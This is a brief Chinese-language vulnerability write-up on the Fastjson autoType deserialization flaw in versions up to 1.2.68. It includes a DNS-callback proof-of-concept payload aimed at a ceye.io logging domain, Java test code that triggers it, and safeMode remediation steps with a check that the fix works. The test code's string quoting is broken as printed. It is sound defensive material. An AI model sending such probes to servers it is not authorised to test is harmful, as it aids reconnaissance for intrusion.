漏洞说明
Fastjson多处补丁修补出现纰漏,Fastjson在1.2.68版本及以下,无需Autotype开启,或者可绕过autoType限制,攻击者即可通过json携带POC在使用Fastjson的服务器上进行远程代码执行。
携带POC的json串:
{"x":{"@type":"java.net.InetSocketAddress"{"address":,"val":"test123.ceye.io"}}}
测试代码
package com.sy.demo;
import com.alibaba.fastjson.JSONObject;
public class Main {
public static void main(String[] args) {
String jsonStr = "{"x":{"@type":"java.net.InetSocketAddress"{"address":,"val":"fnn2o3.ceye.io"}}}";
Object json1 = JSONObject.parse(jsonStr);
System.out.println(json1);
}
}
代码执行成功,解析json时系统会调起val里的网址的访问。
通过 CEYE - Monitor service for security testing 网站(注册账号登陆后可在个人中心查看域名),可以查看到有dns解析数据。
修复方案
fastjson在1.2.68之后的版本中引入了safeMode,配置safeMode=true后(重点!仅仅升级版本时没用的),无论白名单和黑名单,都不支持autoType,可一定程度上缓解反序列化Gadgets类变种攻击(关闭autoType注意评估对业务的影响)
1、提高fastjson的maven版本。
使其大于1.2.68,这里使用的1.2.79
com.alibaba fastjson1.2.79
2、配置safeMode=true。
有3种方式配置,如下:
方式一、通过fastjson.properties文件配置。(推荐)
在resources资源包下创建fastjson.properties文件,配置如下:
fastjson.parser.safeMode=true
方式二:在代码中配置
ParserConfig.getGlobalInstance().setSafeMode(true);
方式三:加上JVM启动参数
-Dfastjson.parser.safeMode=true
修复验证
执行代码
String jsonStr = "{"x":{"@type":"java.net.InetSocketAddress"{"address":,"val":"fnn2o3.ceye.io"}}}";
Object json1 = JSONObject.parse(jsonStr);
执行失败,抛出异常,dns也没有解析记录。
修复成功!



